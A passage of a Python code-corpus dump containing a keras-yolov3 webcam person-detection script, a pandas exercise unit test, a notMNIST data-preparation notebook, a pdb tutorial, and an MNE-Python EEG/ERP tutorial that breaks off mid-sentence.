np.reshape(frame,(frame.shape[0],frame.shape[1],1))\n                    temp_label = np.reshape(temp_label,(3))\n                    temp_data.append(frame)\n                    c+=1\n                    Y.append(temp_label)\n\n\n\n    return  temp_data,Y,c\n\ndef build_cnn():\n    in_layer = Input(shape=(146, 44, 1))\n    x = BatchNormalization()(in_layer)\n    x = Conv2D(128, (4, 4), activation='elu')(x)  # single stride 4x4 filter for 16 maps\n    x = Conv2D(64, (4, 4), activation='elu')(x)  # single stride 4x4 filter for 32 maps\n    x = Dropout(0.5)(x)\n    x = Conv2D(64, (4, 4), activation='elu')(x)  # single stride 4x4 filter for 64 maps\n    x = Dropout(0.5)(x)\n    x = Conv2D(128, (1, 1))(x)  # finally 128 maps for global average-pool\n    x = Flatten()(x) # pseudo-dense 128 layer\n    output_layer = Dense(3, activation=\"softmax\")(x)  # softmax output\n    model = Model(inputs=in_layer, outputs=output_layer)\n    learning_rate = 1e-3\n    optm = Adam(lr=learning_rate)\n    model.compile(optimizer=optm, loss='categorical_crossentropy', metrics=['accuracy'])\n    model.summary()\n    #model.load_weights(\"alex_weights.h5\")\n    return model\n\ndef detect_video_save_pics(yolo):\n    save_pics(yolo)\n\ndef detect_video_train(yolo):\n    model=build_cnn()\n    data,Y,ra =load_data()\n    print(\"training..\")\n    factor = 1. / np.sqrt(2)\n\n    model_checkpoint = ModelCheckpoint(\"final_alex.h5\", verbose=1,\n                                       monitor='val_acc', save_best_only=True, save_weights_only=True)\n    reduce_lr = ReduceLROnPlateau(monitor='val_acc', patience=100, mode='max',\n                                  factor=factor, cooldown=0, min_lr=1e-4, verbose=2)\n    callback_list = [model_checkpoint, reduce_lr]\n\n    model.fit(x=np.array(data),y=np.array(Y),verbose=2,epochs=100,callbacks=callback_list,validation_split=0.15)\n\n    print(\"done\")\n\ndef detect_video(yolo):\n    import cv2\n    #print(\"preparing to build... cnn\")\n    #model = build_cnn()\n    #print (\"CNN done\")\n    print(\"video capture pre log\")\n    vid = cv2.VideoCapture(0)\n    print(\"video capture post log\")\n    if not vid.isOpened():\n        raise IOError(\"Couldn't open webcam or video\")\n    video_FourCC    = int(vid.get(cv2.CAP_PROP_FOURCC))\n    video_fps       = vid.get(cv2.CAP_PROP_FPS)\n    video_size      = (int(vid.get(cv2.CAP_PROP_FRAME_WIDTH)),\n                        int(vid.get(cv2.CAP_PROP_FRAME_HEIGHT)))\n    accum_time = 0\n    curr_fps = 0\n    fps = \"FPS: ??\"\n    prev_time = timer()\n    targets_available = [\"None Signed\", \"Pedestrian Sign\", \"Police Sign\"]\n    print(\"Entering... loop\")\n    while True:\n        print(\"call_1\")\n        return_value, frame = vid.read()\n        print(\"call_2\")\n        image = Image.fromarray(frame)\n        print(\"call_3\")\n        same_frame = np.copy(image)\n        print(\"call_4\")\n        result = np.asarray(image)\n        print(\"call_5\")\n        same_frame = cv2.blur(same_frame,(5,5))\n        imgray = cv2.cvtColor(same_frame, cv2.COLOR_BGR2GRAY)\n        thresh = cv2.adaptiveThreshold(imgray, 1, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 11, 2)\n        sk = skeletonize(thresh)\n        sk = np.asarray(sk, dtype=np.uint8)\n        sk = sk*255#sk[sk == 1] = 255\n        #cv2.imshow('skel', sk)\n        someone,roi_coords = yolo.detect_person(image)\n        Sign_Boolean =False\n        if someone:\n            roi_coords = np.asarray(roi_coords)\n            for t in range(roi_coords.shape[0]):\n                left, top, right, bottom = roi_coords[t]\n                roi_sk = sk[top:bottom , left:right]\n                print(roi_coords[t])\n                cv2.imshow(\"Person_\"+str(t),roi_sk)\n                feed_net = cv2.resize(roi_sk, (44, 146))\n                feed_net = np.asarray(feed_net)\n                feed_net = feed_net /255\n                feed_net = np.reshape(feed_net, (-1,feed_net.shape[0], feed_net.shape[1], 1))\n\n                prediction = 0#model.predict(feed_net)[0]\n\n                max_pred = 0#np.argmax(prediction)\n\n                # cv2.imshow(\"fr\",frame)\n                # cv2.waitKey(1)\n                # print(frame.shape)\n                # frame = np.reshape(frame,(-1,frame.shape[0],frame.shape[1],1))\n                Show_text = targets_available[max_pred]\n                print(\"PREDICTED : \"+str(Show_text)+\" - \"+str(prediction))\n                cv2.putText(result, text=Show_text, org=(3, 50), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n                            fontScale=2.50, color=(255, 0, 0), thickness=2)\n\n        curr_time = timer()\n        exec_time = curr_time - prev_time\n        prev_time = curr_time\n        accum_time = accum_time + exec_time\n        curr_fps = curr_fps + 1\n        if accum_time > 1:\n            accum_time = accum_time - 1\n            fps = \"FPS: \" + str(curr_fps)\n            curr_fps = 0\n        cv2.putText(result, text=fps, org=(3, 15), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n                    fontScale=0.50, color=(255, 0, 0), thickness=2)\n        cv2.namedWindow(\"camera_view\", cv2.WINDOW_NORMAL)\n        cv2.imshow(\"camera_view\", result)\n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n    yolo.close_session()\n\n", "meta": {"hexsha": "b66bce5f034d86367e43bc1c7c1e074fb04e8feb", "size": 17427, "ext": "py", "lang": "Python", "max_stars_repo_path": "yolo.py", "max_stars_repo_name": "Samitha156/keras-yolov3", "max_stars_repo_head_hexsha": "8a784c1ba4166d9ad4f78bec9939f0a9634905e4", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "yolo.py", "max_issues_repo_name": "Samitha156/keras-yolov3", "max_issues_repo_head_hexsha": "8a784c1ba4166d9ad4f78bec9939f0a9634905e4", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "yolo.py", "max_forks_repo_name": "Samitha156/keras-yolov3", "max_forks_repo_head_hexsha": "8a784c1ba4166d9ad4f78bec9939f0a9634905e4", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.2962085308, "max_line_length": 123, "alphanum_fraction": 0.5743960521, "include": true, "reason": "import numpy", "num_tokens": 4254, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5467381519846138, "lm_q2_score": 0.152032235859071, "lm_q1q2_score": 0.08312182367567741}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\nimport numpy as np\nimport pandas as pd\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_out, patch_helper\n\nmodule_name=\"src.powers_of_series\"\npowers_of_series = load(module_name, \"powers_of_series\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n@points('p04-02.1')\nclass PowersOfSeries(unittest.TestCase):\n\n    def test_type(self):\n        s = pd.Series([1,2,3,4], index=list(\"abcd\"))\n        k = 2\n        df = powers_of_series(s, k)\n        self.assertIsInstance(df, pd.DataFrame, msg=\"powers_of_series should return a DataFrame!\")\n    \n    def test_dimensions(self):\n        ind=list(\"abcdefghijklmnopqrstuvwxyz\")\n        k=3\n        for n in range(4):\n            L=np.random.randint(-10, 10, n)\n            s = pd.Series(L, index=ind[:n])\n            df = powers_of_series(s, k)\n            self.assertEqual(df.shape, (n, k),\n                             msg=\"The DataFrame had wrong shape for call powers_of_series(%s, %i)!\" % (s,k))\n \n    def test_content(self):\n        ind=list(\"abcdefghijklmnopqrstuvwxyz\")\n        k=3\n        for n in range(4, 0, -1):\n            L=np.random.randint(-10, 10, n)\n            s = pd.Series(L, index=ind[:n])\n            df = powers_of_series(s, k)\n            self.assertTrue(np.issubdtype(df.columns.dtype, np.integer),\n                            msg=\"Expected column indices to have integer type!\")\n            for i in range(1,k+1):\n                np.testing.assert_array_equal(df[i], s**i, err_msg=\"Incorrect values in column %i for Series\\n%s!\" % ( i, s))\n\n    def test_called(self):\n        with patch(ph(\"powers_of_series\"), wraps=powers_of_series) as ppos:\n            main()\n            ppos.assert_called()\n\nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "134a0b053c723e6a34046f05d0fc4568a7b8341e", "size": 1814, "ext": "py", "lang": "Python", "max_stars_repo_path": "hy-data-analysis-with-python-spring-2020/part04-e02_powers_of_series/test/test_powers_of_series.py", "max_stars_repo_name": "Melimet/DAP2020", "max_stars_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hy-data-analysis-with-python-spring-2020/part04-e02_powers_of_series/test/test_powers_of_series.py", "max_issues_repo_name": "Melimet/DAP2020", "max_issues_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hy-data-analysis-with-python-spring-2020/part04-e02_powers_of_series/test/test_powers_of_series.py", "max_forks_repo_name": "Melimet/DAP2020", "max_forks_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.3928571429, "max_line_length": 125, "alphanum_fraction": 0.6047409041, "include": true, "reason": "import numpy", "num_tokens": 442, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4921881357207956, "lm_q2_score": 0.1688569500503904, "lm_q1q2_score": 0.08310938744880116}}
{"text": "\n# coding: utf-8\n\n# Deep Learning\n# =============\n# \n# Assignment 1\n# ------------\n# \n# The objective of this assignment is to learn about simple data curation practices, and familiarize you with some of the data we'll be reusing later.\n# \n# This notebook uses the [notMNIST](http://yaroslavvb.blogspot.com/2011/09/notmnist-dataset.html) dataset to be used with python experiments. This dataset is designed to look like the classic [MNIST](http://yann.lecun.com/exdb/mnist/) dataset, while looking a little more like real data: it's a harder task, and the data is a lot less 'clean' than MNIST.\n\n# In[2]:\n\n# These are all the modules we'll be using later. Make sure you can import them\n# before proceeding further.\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport tarfile\nimport urllib\nfrom IPython.display import display, Image\nfrom scipy import ndimage\nfrom sklearn.linear_model import LogisticRegression\nimport pickle\n\n\n# First, we'll download the dataset to our local machine. The data consists of characters rendered in a variety of fonts on a 28x28 image. The labels are limited to 'A' through 'J' (10 classes). The training set has about 500k and the testset 19000 labelled examples. Given these sizes, it should be possible to train models quickly on any machine.\n\n# In[4]:\n\nurl = 'http://yaroslavvb.com/upload/notMNIST/'\n\ndef maybe_download(filename, expected_bytes):\n  \"\"\"Download a file if not present, and make sure it's the right size.\"\"\"\n  if not os.path.exists(filename):\n    filename, _ = urllib.urlretrieve(url + filename, filename)\n  statinfo = os.stat(filename)\n  if statinfo.st_size == expected_bytes:\n    print('Found and verified', filename)\n  else:\n    raise Exception(\n      'Failed to verify' + filename + '. Can you get to it with a browser?')\n  return filename\n\ntrain_filename = maybe_download('notMNIST_large.tar.gz', 247336696)\ntest_filename = maybe_download('notMNIST_small.tar.gz', 8458043)\n\n\n# Extract the dataset from the compressed .tar.gz file.\n# This should give you a set of directories, labelled A through J.\n\n# In[11]:\n\nnum_classes = 10\n\ndef extract(filename):\n  tar = tarfile.open(filename)\n  tar.extractall()\n  tar.close()\n  root = os.path.splitext(os.path.splitext(filename)[0])[0]  # remove .tar.gz\n  data_folders = [os.path.join(root, d) for d in sorted(os.listdir(root))]\n  if len(data_folders) != num_classes:\n    raise Exception(\n      'Expected %d folders, one per class. Found %d instead.' % (\n        num_folders, len(data_folders)))\n  print(data_folders)\n  return data_folders\n  \n#train_folders = extract(train_filename)\ntest_folders = extract(test_filename)\n\n\n# ---\n# Problem 1\n# ---------\n# \n# Let's take a peek at some of the data to make sure it looks sensible. Each exemplar should be an image of a character A through J rendered in a different font. Display a sample of the images that we just downloaded. Hint: you can use the package IPython.display.\n# \n# ---\n\n# In[17]:\n\nimport IPython.display as display\nimport os\nfile_to_display = os.path.join(test_folders[0], os.listdir(test_folders[0])[0])\nprint(file_to_display)\ndisplay.display_png(file_to_display)\n\n\n# Now let's load the data in a more manageable format.\n# \n# We'll convert the entire dataset into a 3D array (image index, x, y) of floating point values, normalized to have approximately zero mean and standard deviation ~0.5 to make training easier down the road. The labels will be stored into a separate array of integers 0 through 9.\n# \n# A few images might not be readable, we'll just skip them.\n\n# In[16]:\n\nimage_size = 28  # Pixel width and height.\npixel_depth = 255.0  # Number of levels per pixel.\n\ndef load(data_folders, min_num_images, max_num_images):\n  dataset = np.ndarray(\n    shape=(max_num_images, image_size, image_size), dtype=np.float32)\n  labels = np.ndarray(shape=(max_num_images), dtype=np.int32)\n  label_index = 0\n  image_index = 0\n  for folder in data_folders:\n    print(folder)\n    for image in os.listdir(folder):\n      if image_index >= max_num_images:\n        raise Exception('More images than expected: %d >= %d' % (\n          num_images, max_num_images))\n      image_file = os.path.join(folder, image)\n      try:\n        image_data = (ndimage.imread(image_file).astype(float) -\n                      pixel_depth / 2) / pixel_depth\n        if image_data.shape != (image_size, image_size):\n          raise Exception('Unexpected image shape: %s' % str(image_data.shape))\n        dataset[image_index, :, :] = image_data\n        labels[image_index] = label_index\n        image_index += 1\n      except IOError as e:\n        print('Could not read:', image_file, ':', e, '- it\\'s ok, skipping.')\n    label_index += 1\n  num_images = image_index\n  dataset = dataset[0:num_images, :, :]\n  labels = labels[0:num_images]\n  if num_images < min_num_images:\n    raise Exception('Many fewer images than expected: %d < %d' % (\n        num_images, min_num_images))\n  print('Full dataset tensor:', dataset.shape)\n  print('Mean:', np.mean(dataset))\n  print('Standard deviation:', np.std(dataset))\n  print('Labels:', labels.shape)\n  return dataset, labels\n#train_dataset, train_labels = load(train_folders, 450000, 550000)\ntest_dataset, test_labels = load(test_folders, 18000, 20000)\n\n\n# ---\n# Problem 2\n# ---------\n# \n# Let's verify that the data still looks good. Displaying a sample of the labels and images from the ndarray. Hint: you can use matplotlib.pyplot.\n# \n# ---\n\n# Next, we'll randomize the data. It's important to have the labels well shuffled for the training and test distributions to match.\n\n# In[ ]:\n\nnp.random.seed(133)\ndef randomize(dataset, labels):\n  permutation = np.random.permutation(labels.shape[0])\n  shuffled_dataset = dataset[permutation,:,:]\n  shuffled_labels = labels[permutation]\n  return shuffled_dataset, shuffled_labels\ntrain_dataset, train_labels = randomize(train_dataset, train_labels)\ntest_dataset, test_labels = randomize(test_dataset, test_labels)\n\n\n# ---\n# Problem 3\n# ---------\n# Convince yourself that the data is still good after shuffling!\n# \n# ---\n\n# ---\n# Problem 4\n# ---------\n# Another check: we expect the data to be balanced across classes. Verify that.\n# \n# ---\n\n# Prune the training data as needed. Depending on your computer setup, you might not be able to fit it all in memory, and you can tune train_size as needed.\n# \n# Also create a validation dataset for hyperparameter tuning.\n\n# In[ ]:\n\ntrain_size = 200000\nvalid_size = 10000\n\nvalid_dataset = train_dataset[:valid_size,:,:]\nvalid_labels = train_labels[:valid_size]\ntrain_dataset = train_dataset[valid_size:valid_size+train_size,:,:]\ntrain_labels = train_labels[valid_size:valid_size+train_size]\nprint 'Training', train_dataset.shape, train_labels.shape\nprint 'Validation', valid_dataset.shape, valid_labels.shape\n\n\n# Finally, let's save the data for later reuse:\n\n# In[ ]:\n\npickle_file = 'notMNIST.pickle'\n\ntry:\n  f = open(pickle_file, 'wb')\n  save = {\n    'train_dataset': train_dataset,\n    'train_labels': train_labels,\n    'valid_dataset': valid_dataset,\n    'valid_labels': valid_labels,\n    'test_dataset': test_dataset,\n    'test_labels': test_labels,\n    }\n  pickle.dump(save, f, pickle.HIGHEST_PROTOCOL)\n  f.close()\nexcept Exception as e:\n  print 'Unable to save data to', pickle_file, ':', e\n  raise\n\n\n# In[ ]:\n\nstatinfo = os.stat(pickle_file)\nprint 'Compressed pickle size:', statinfo.st_size\n\n\n# ---\n# Problem 5\n# ---------\n# \n# By construction, this dataset might contain a lot of overlapping samples, including training data that's also contained in the validation and test set! Overlap between training and test can skew the results if you expect to use your model in an environment where there is never an overlap, but are actually ok if you expect to see training samples recur when you use it.\n# Measure how much overlap there is between training, validation and test samples.\n# Optional questions:\n# - What about near duplicates between datasets? (images that are almost identical)\n# - Create a sanitized validation and test set, and compare your accuracy on those in subsequent assignments.\n# ---\n\n# ---\n# Problem 6\n# ---------\n# \n# Let's get an idea of what an off-the-shelf classifier can give you on this data. It's always good to check that there is something to learn, and that it's a problem that is not so trivial that a canned solution solves it.\n# \n# Train a simple model on this data using 50, 100, 1000 and 5000 training samples. Hint: you can use the LogisticRegression model from sklearn.linear_model.\n# \n# Optional question: train an off-the-shelf model on all the data!\n# \n# ---\n", "meta": {"hexsha": "25fdbb774c68be5a1d4d5efc5688379995f92bfd", "size": 8571, "ext": "py", "lang": "Python", "max_stars_repo_path": "1_notmnist.py", "max_stars_repo_name": "shubhamchaudhary/ud730", "max_stars_repo_head_hexsha": "a011094b3de09364864c78e0f9602467540d8407", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "1_notmnist.py", "max_issues_repo_name": "shubhamchaudhary/ud730", "max_issues_repo_head_hexsha": "a011094b3de09364864c78e0f9602467540d8407", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "1_notmnist.py", "max_forks_repo_name": "shubhamchaudhary/ud730", "max_forks_repo_head_hexsha": "a011094b3de09364864c78e0f9602467540d8407", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.8414634146, "max_line_length": 372, "alphanum_fraction": 0.7215027418, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2082, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.16885694795909767, "lm_q1q2_score": 0.08310938641949167}}
{"text": "import numpy as np\nimport tensorflow as tf\nimport pdb\n\n  \npdb.set_trace()\nx = np.random.uniform()\ny = np.random.uniform()\npdb.set_trace()\n\nsumval = x+y\n\nprint(sumval)\n\n\n'''\nRun using python example.py\nThe pdb.set_trace() line is where a breakpoint is added.\nCommands:\n1. `next` - move to next line\n2. `p something` - check the value of the variable something.\n3. `whatis something` - check the type of variable something.\n4. `c` - continue to next breakpoint\n5. `ctrl-d` - exit pdb.\n'''", "meta": {"hexsha": "d7e037b84961da31fe789d7de125b26a96704993", "size": 486, "ext": "py", "lang": "Python", "max_stars_repo_path": "Other_Python/pdb_tutorial/example.py", "max_stars_repo_name": "Romit-Maulik/Tutorials-Demos-Practice", "max_stars_repo_head_hexsha": "a58ddc819f24a16f7059e63d7f201fc2cd23e03a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2020-09-02T14:46:07.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-29T15:27:05.000Z", "max_issues_repo_path": "Other_Python/pdb_tutorial/example.py", "max_issues_repo_name": "Romit-Maulik/Tutorials-Demos-Practice", "max_issues_repo_head_hexsha": "a58ddc819f24a16f7059e63d7f201fc2cd23e03a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 18, "max_issues_repo_issues_event_min_datetime": "2020-11-13T18:49:33.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:54:43.000Z", "max_forks_repo_path": "Other_Python/pdb_tutorial/example.py", "max_forks_repo_name": "Romit-Maulik/Tutorials-Demos-Practice", "max_forks_repo_head_hexsha": "a58ddc819f24a16f7059e63d7f201fc2cd23e03a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2019-09-25T23:57:00.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-18T08:15:34.000Z", "avg_line_length": 19.44, "max_line_length": 61, "alphanum_fraction": 0.7098765432, "include": true, "reason": "import numpy", "num_tokens": 129, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.16885694377651225, "lm_q1q2_score": 0.08310938436087276}}
{"text": "\"\"\"\n.. _tut-erp:\n\nEEG processing and Event Related Potentials (ERPs)\n==================================================\n\nThis tutorial shows how to perform standard ERP analyses in MNE-Python. Most of\nthe material here is covered in other tutorials too, but for convenience the\nfunctions and methods most useful for ERP analyses are collected here, with\nlinks to other tutorials where more detailed information is given.\n\nAs usual we'll start by importing the modules we need and loading some example\ndata. Instead of parsing the events from the raw data's :term:`stim channel`\n(like we do in :ref:`this tutorial <tut-events-vs-annotations>`), we'll load\nthe events from an external events file. Finally, to speed up computations so\nour documentation server can handle them, we'll crop the raw data from ~4.5\nminutes down to 90 seconds.\n\"\"\"\n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport mne\n\nsample_data_folder = mne.datasets.sample.data_path()\nsample_data_raw_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                    'sample_audvis_filt-0-40_raw.fif')\nraw = mne.io.read_raw_fif(sample_data_raw_file, preload=False)\n\nsample_data_events_file = os.path.join(sample_data_folder, 'MEG', 'sample',\n                                       'sample_audvis_filt-0-40_raw-eve.fif')\nevents = mne.read_events(sample_data_events_file)\n\nraw.crop(tmax=90)  # in seconds; happens in-place\n# discard events >90 seconds (not strictly necessary: avoids some warnings)\nevents = events[events[:, 0] <= raw.last_samp]\n\n###############################################################################\n# The file that we loaded has already been partially processed: 3D sensor\n# locations have been saved as part of the ``.fif`` file, the data have been\n# low-pass filtered at 40 Hz, and a common average reference is set for the\n# EEG channels, stored as a projector (see :ref:`section-avg-ref-proj` in the\n# :ref:`tut-set-eeg-ref` tutorial for more info about when you may want to do\n# this). We'll discuss how to do each of these below.\n#\n# Since this is a combined EEG+MEG dataset, let's start by restricting the data\n# to just the EEG and EOG channels. This will cause the other projectors saved\n# in the file (which apply only to magnetometer channels) to be removed. By\n# looking at the measurement info we can see that we now have 59 EEG channels\n# and 1 EOG channel.\n\nraw.pick(['eeg', 'eog']).load_data()\nraw.info\n\n###############################################################################\n# Channel names and types\n# ^^^^^^^^^^^^^^^^^^^^^^^\n#\n# In practice it's quite common to have some channels labelled as EEG that are\n# actually EOG channels. `~mne.io.Raw` objects have a\n# `~mne.io.Raw.set_channel_types` method that you can use to change a channel\n# that is labeled as ``eeg`` into an ``eog`` type. You can also rename channels\n# using the `~mne.io.Raw.rename_channels` method. Detailed examples of both of\n# these methods can be found in the tutorial :ref:`tut-raw-class`. In this data\n# the channel types are all correct already, so for now we'll just rename the\n# channels to remove a space and a leading zero in the channel names, and\n# convert to lowercase:\n\nchannel_renaming_dict = {name: name.replace(' 0', '').lower()\n                         for name in raw.ch_names}\n_ = raw.rename_channels(channel_renaming_dict)  # happens in-place\n\n###############################################################################\n# Channel locations\n# ^^^^^^^^^^^^^^^^^\n#\n# The tutorial :ref:`tut-sensor-locations` describes MNE-Python's handling of\n# sensor positions in great detail. To briefly summarize: MNE-Python\n# distinguishes :term:`montages <montage>` (which contain sensor positions in\n# 3D: ``x``, ``y``, ``z``, in meters) from :term:`layouts <layout>` (which\n# define 2D arrangements of sensors for plotting approximate overhead diagrams\n# of sensor positions). Additionally, montages may specify *idealized* sensor\n# positions (based on, e.g., an idealized spherical headshape model) or they\n# may contain *realistic* sensor positions obtained by digitizing the 3D\n# locations of the sensors when placed on the actual subject's head.\n#\n# This dataset has realistic digitized 3D sensor locations saved as part of the\n# ``.fif`` file, so we can view the sensor locations in 2D or 3D using the\n# `~mne.io.Raw.plot_sensors` method:\n\nraw.plot_sensors(show_names=True)\nfig = raw.plot_sensors('3d')\n\n###############################################################################\n# If you're working with a standard montage like the `10-20 <ten_twenty_>`_\n# system, you can add sensor locations to the data like this:\n# ``raw.set_montage('standard_1020')``.  See :ref:`tut-sensor-locations` for\n# info on what other standard montages are built-in to MNE-Python.\n#\n# If you have digitized realistic sensor locations, there are dedicated\n# functions for loading those digitization files into MNE-Python; see\n# :ref:`reading-dig-montages` for discussion and :ref:`dig-formats` for a list\n# of supported formats. Once loaded, the digitized sensor locations can be\n# added to the data by passing the loaded montage object to\n# ``raw.set_montage()``.\n#\n#\n# Setting the EEG reference\n# ^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# As mentioned above, this data already has an EEG common average reference\n# added as a :term:`projector`. We can view the effect of this on the raw data\n# by plotting with and without the projector applied:\n\nfor proj in (False, True):\n    fig = raw.plot(n_channels=5, proj=proj, scalings=dict(eeg=50e-6))\n    fig.subplots_adjust(top=0.9)  # make room for title\n    ref = 'Average' if proj else 'No'\n    fig.suptitle(f'{ref} reference', size='xx-large', weight='bold')\n\n###############################################################################\n# The referencing scheme can be changed with the function\n# `mne.set_eeg_reference` (which by default operates on a *copy* of the data)\n# or the `raw.set_eeg_reference() <mne.io.Raw.set_eeg_reference>` method (which\n# always modifies the data in-place). The tutorial :ref:`tut-set-eeg-ref` shows\n# several examples of this.\n#\n#\n# Filtering\n# ^^^^^^^^^\n#\n# MNE-Python has extensive support for different ways of filtering data. For a\n# general discussion of filter characteristics and MNE-Python defaults, see\n# :ref:`disc-filtering`. For practical examples of how to apply filters to your\n# data, see :ref:`tut-filter-resample`. Here, we'll apply a simple high-pass\n# filter for illustration:\n\nraw.filter(l_freq=0.1, h_freq=None)\n\n###############################################################################\n# Evoked responses: epoching and averaging\n# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n#\n# The general process for extracting evoked responses from continuous data is\n# to use the `~mne.Epochs` constructor, and then average the resulting epochs\n# to create an `~mne.Evoked` object. In MNE-Python, events are represented as\n# a :class:`NumPy array <numpy.ndarray>` of sample numbers and integer event\n# codes. The event codes are stored in the last column of the events array:\n\nnp.unique(events[:, -1])\n\n###############################################################################\n# The :ref:`tut-event-arrays` tutorial discusses event arrays in more detail.\n# Integer event codes are mapped to more descriptive text using a Python\n# :class:`dictionary <dict>` usually called ``event_id``. This mapping is\n# determined by your experiment code (i.e., it reflects which event codes you\n# chose to use to represent different experimental events or conditions). For\n# the :ref:`sample-dataset` data has the following mapping:\n\nevent_dict = {'auditory/left': 1, 'auditory/right': 2, 'visual/left': 3,\n              'visual/right': 4, 'face': 5, 'buttonpress': 32}\n\n###############################################################################\n# Now we can extract epochs from the continuous data. An interactive plot\n# allows you to click on epochs to mark them as \"bad\" and drop them from the\n# analysis (it is not interactive on the documentation website, but will be\n# when you run `epochs.plot() <mne.Epochs.plot>` in a Python console).\n\nepochs = mne.Epochs(raw, events, event_id=event_dict, tmin=-0.3, tmax=0.7,\n                    preload=True)\nfig = epochs.plot()\n\n###############################################################################\n# It is also possible to automatically drop epochs, when first creating them or\n# later on, by providing maximum peak-to-peak signal value thresholds (pass to\n# the `~mne.Epochs` constructor as the ``reject`` parameter; see\n# :ref:`tut-reject-epochs-section` for details).  You can also do this after\n# the epochs are already created, using the `~mne.Epochs.drop_bad` method:\n\nreject_criteria = dict(eeg=100e-6,  # 100 \u00b5V\n                       eog=200e-6)  # 200 \u00b5V\n_ = epochs.drop_bad(reject=reject_criteria)\n\n###############################################################################\n# Next we generate a barplot of which channels contributed most to epochs\n# getting rejected. If one channel is responsible for lots of epoch rejections,\n# it may be worthwhile to mark that channel as \"bad\" in the `~mne.io.Raw`\n# object and then re-run epoching (fewer channels w/ more good epochs may be\n# preferable to keeping all channels but losing many epochs). See\n# :ref:`tut-bad-channels` for more info.\n\nepochs.plot_drop_log()\n\n###############################################################################\n# Another way in which epochs can be automatically dropped is if the\n# `~mne.io.Raw` object they're extracted from contains :term:`annotations` that\n# begin with either ``bad`` or ``edge`` (\"edge\" annotations are automatically\n# inserted when concatenating two separate `~mne.io.Raw` objects together). See\n# :ref:`tut-reject-data-spans` for more information about annotation-based\n# epoch rejection.\n#\n# Now that we've dropped the bad epochs, let's look at our evoked responses for\n# some conditions we care about. Here the `~mne.Epochs.average` method will\n# create and `~mne.Evoked` object, which we can then plot. Notice that we\\\n# select which condition we want to average using the square-bracket indexing\n# (like a :class:`dictionary <dict>`); that returns a smaller epochs object\n# containing just the epochs from that condition, to which we then apply the\n# `~mne.Epochs.average` method:\n\nl_aud = epochs['auditory/left'].average()\nl_vis = epochs['visual/left'].average()\n\n###############################################################################\n# These `~mne.Evoked` objects have their own interactive plotting method\n# (though again, it won't be interactive on the documentation website):\n# click-dragging a span of time will generate a scalp field topography for that\n# time span. Here we also demonstrate built-in color-coding the channel traces\n# by location:\n\nfig1 = l_aud.plot()\nfig2 = l_vis.plot(spatial_colors=True)\n\n###############################################################################\n# Scalp topographies can also be obtained non-interactively with the\n# `~mne.Evoked.plot_topomap` method. Here we display topomaps of the average\n# field in 50 ms time windows centered at -200 ms, 100 ms, and 400 ms.\n\nl_aud.plot_topomap(times=[-0.2, 0.1, 0.4], average=0.05)\n\n###############################################################################\n# Considerable customization of these plots is possible, see the docstring of\n# `~mne.Evoked.plot_topomap` for details.\n#\n# There is also a built-in method for combining \"butterfly\" plots of the\n# signals with scalp topographies, called `~mne.Evoked.plot_joint`. Like\n# `~mne.Evoked.plot_topomap` you can specify times for the scalp topographies\n# or you can let the method choose times automatically, as is done here:\n\nl_aud.plot_joint()\n\n###############################################################################\n# Global 